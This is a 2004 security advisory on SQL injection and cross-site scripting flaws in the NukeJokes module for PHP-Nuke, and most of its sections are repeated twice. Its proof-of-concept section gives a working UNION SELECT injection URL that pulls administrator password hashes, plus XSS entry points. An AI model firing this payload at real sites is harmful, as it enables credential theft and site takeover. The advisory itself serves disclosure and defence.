Adam Webb NukeJokes Module For PHP-Nuke Multiple Input Validation Vulnerabilities
BID:10306
Info
Adam Webb NukeJokes Module For PHP-Nuke Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 10306 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | May 08 2004 12:00AM |
| Updated: | May 08 2004 12:00AM |
| Credit: | Discovery of these vulnerabilities has been credited to Janek Vind <[email protected]>. |
| Vulnerable: |
Adam Webb NukeJokes 2.0 BETA Adam Webb NukeJokes 1.7 |
| Not Vulnerable: | |
Discussion
Adam Webb NukeJokes Module For PHP-Nuke Multiple Input Validation Vulnerabilities
It has been reported that the NukeJokes module is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
Multiple SQL injection issues exists due to a failure of the application to do any sanitization on user input prior to using the offending input in an SQL query.
These SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data.
Multiple cross-site scripting vulnerabilities have been reported to exist due to a failure of the application to properly sanitize user-supplier input before its inclusion in dynamic web content.
These cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user.
It has been reported that the NukeJokes module is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
Multiple SQL injection issues exists due to a failure of the application to do any sanitization on user input prior to using the offending input in an SQL query.
These SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data.
Multiple cross-site scripting vulnerabilities have been reported to exist due to a failure of the application to properly sanitize user-supplier input before its inclusion in dynamic web content.
These cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user.
Exploit / POC
Adam Webb NukeJokes Module For PHP-Nuke Multiple Input Validation Vulnerabilities
No exploits are required to leverage these issues. The following proof of concept has been provided:
Cross-Site Scripting:
http://www.example.com/nuke72/modules.php?name=NukeJokes&func=CatView&cat=[xss code here]
http://www.example.com/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=[xss code here]
SQL injection:
http://www.example.com/nuke72/modules.php?name=NukeJokes&file=print&jokeid=-1/**/UNION/**/SELECT/**/aid,pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*
No exploits are required to leverage these issues. The following proof of concept has been provided:
Cross-Site Scripting:
http://www.example.com/nuke72/modules.php?name=NukeJokes&func=CatView&cat=[xss code here]
http://www.example.com/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=[xss code here]
SQL injection:
http://www.example.com/nuke72/modules.php?name=NukeJokes&file=print&jokeid=-1/**/UNION/**/SELECT/**/aid,pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*
Solution / Fix
Adam Webb NukeJokes Module For PHP-Nuke Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Adam Webb NukeJokes Module For PHP-Nuke Multiple Input Validation Vulnerabilities
References:
References:
- NukeJokes (Adam Webb)
- [waraxe-2004-SA#028 - Multiple vulnerabilities in NukeJokes module for PhpNuke] (Janek Vind